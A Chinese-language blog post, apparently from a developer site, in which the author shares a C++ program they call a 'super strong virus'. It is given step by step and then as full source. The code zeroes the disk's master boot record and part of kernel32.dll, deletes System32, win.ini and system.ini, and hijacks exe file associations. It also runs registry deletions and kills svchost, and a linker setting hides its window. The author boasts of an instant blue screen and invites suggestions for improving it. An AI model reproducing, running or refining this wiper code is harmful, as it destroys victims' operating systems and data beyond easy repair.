【无标题】

写了这么多python病毒,今天我来给大家分享一个C++病毒。

创作背景:我有个同学对电脑十分精通,而且对MBR十分感兴趣,他跟我分享了他怎么把MBR搞报废的历程。听完之后,我开始研究MBR。用python研究了2个月,结果做的是无用功。知道我这个月学了C++!我学会了如何破坏MBR!于是我开始做这款超强病毒。做了2天(一直在调试,把病毒弄到最佳状态)。

IDE:visual studio 2022

功能:感染kernel32.dll、删除system32、win.ini、system.ini、删除所有注册表、修改exe打开方式、修改MBR

修复方法:用PE修复引导,恢复丢失的文件,修复文件打开方式(或重装系统)

第一步,把头文件给导入进来。

#include <stdio.h>
#include <iostream>
#include <Windows.h>


然后做点设置

#define _CRT_SECURE_NO_WARNINGS 1 //跳过安全检查
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )//隐藏dos窗口


然后做修改MBR函数

void kill_mbr()//修改MBR
{
    FILE* disk = fopen("\\\\.\\PHYSICALDRIVE0", "rb+");
    char mbr[512] = { 0 };
    fwrite(mbr, sizeof(mbr), 1, disk);
    fclose(disk);
}


做感染kernel32.dll函数

void infect()//感染kernel32.dll
{
    FILE* infect_file = fopen("C:\\Windows\\SysWOW64\\kernel32.dll","rb+");
    char write[666] = { 0 };
    fwrite(write, sizeof(write), 1, infect_file);
    fclose(infect_file);
}


然后是其他功能的代码

system("del /f /s /q C:\\Windows\\System32\\*.*");//删除system32
system("ftype exefile='C:\\Windows\\notepad.exe'%*");  //把可执行文件的打开方式都改成notepad
system("@echo off Start reg delete HKCR/.exe Start reg delete HKCR/.dll Start reg delete HKCR/*");//删除所有注册表
system("attrib -s -r -h C:\\Windows\\system.ini");
system("del /f /s /q C:\\Windows\\system.ini");
system("attrib -s -r -h C:\\Windows\\win.ini");
system("del /f /s /q C:\\Windows\\win.ini"); //删除系统重要文件


对了,还要终止系统进程

system("taskkill /f /im svchost.exe");


然后这样的话运行之后直接蓝屏死机,连修复时间都基本没有~

总代码

#define _CRT_SECURE_NO_WARNINGS 1 //跳过安全检查
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )//隐藏dos窗口
#include <stdio.h>
#include <iostream>
#include <Windows.h>
using namespace std;
void kill_mbr()//修改MBR
{
    FILE* disk = fopen("\\\\.\\PHYSICALDRIVE0", "rb+");
    char mbr[512] = { 0 };
    fwrite(mbr, sizeof(mbr), 1, disk);
    fclose(disk);
}
void infect()//感染kernel32.dll
{
    FILE* infect_file = fopen("C:\\Windows\\SysWOW64\\kernel32.dll","rb+");
    char write[666] = { 0 };
    fwrite(write, sizeof(write), 1, infect_file);
    fclose(infect_file);
}
int main()
{
    infect();
    kill_mbr();
    system("del /f /s /q C:\\Windows\\System32\\*.*");//删除system32
    system("ftype exefile='C:\\Windows\\notepad.exe'%*");  //把可执行文件的打开方式都改成notepad
    system("@echo off Start reg delete HKCR/.exe Start reg delete HKCR/.dll Start reg delete HKCR/*");//删除所有注册表
    system("attrib -s -r -h C:\\Windows\\system.ini");
    system("del /f /s /q C:\\Windows\\system.ini");
    system("attrib -s -r -h C:\\Windows\\win.ini");
    system("del /f /s /q C:\\Windows\\win.ini"); //删除系统重要文件
    system("taskkill /f /im svchost.exe");
    return 0;
}

火绒报毒这是木马(好几次了)

我都生成不了程序了都...... 

以上就是病毒代码,如要使用,请用虚拟机。下载研究后请严禁用于非法用途,使用本文件产生的一切后果由下载者自行承担,谢谢!

请多多提建议,我会继续改进的!

  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值